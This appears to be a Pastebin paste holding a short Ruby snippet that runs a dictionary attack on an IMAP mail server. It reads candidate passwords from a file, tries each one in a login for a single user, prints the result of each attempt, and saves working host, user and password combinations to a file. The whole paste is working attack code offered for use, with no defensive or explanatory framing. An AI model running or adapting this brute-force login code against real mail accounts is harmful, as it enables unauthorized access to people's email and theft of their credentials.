Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- IO.foreach(options[:pwdfile]).each do |line|
- begin
- value = line.chomp
- imap = Net::IMAP.new(options[:host], 993, true)
- result = imap.login( options[:user], value )
- puts "SUCCESS: The combination of " + options[:user] + " and password " + value + " worked"
- File.write('success.out', options[:host] + " - " + options[:user] + ':' + value)
- rescue
- puts "FAILED: Password " + value + " didnt work"
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment